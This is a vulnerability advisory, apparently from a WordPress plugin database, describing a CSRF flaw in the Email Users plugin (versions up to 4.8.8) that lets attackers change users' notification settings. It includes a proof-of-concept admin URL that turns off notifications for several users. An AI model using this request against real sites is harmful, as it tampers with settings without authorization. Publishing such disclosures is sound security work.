WordPress Plugin Vulnerabilities

Email Users <= 4.8.8 - Arbitrary Settings Update via CSRF

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and change the notification settings of arbitrary users

Proof of Concept

https://example.com/wp-admin/admin.php?page=mailusers-user-settings&s&action=notifications_off_email_off&paged=1&user%5B0%5D=1&user%5B1%5D=2&user%5B2%5D=3&action2=notifications_off_email_off

Affects Plugins

No known fix

References

Classification

Miscellaneous

Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-05-18 (about 2 years ago)
Added
2022-05-18 (about 2 years ago)
Last Updated
2023-02-10 (about 1 years ago)

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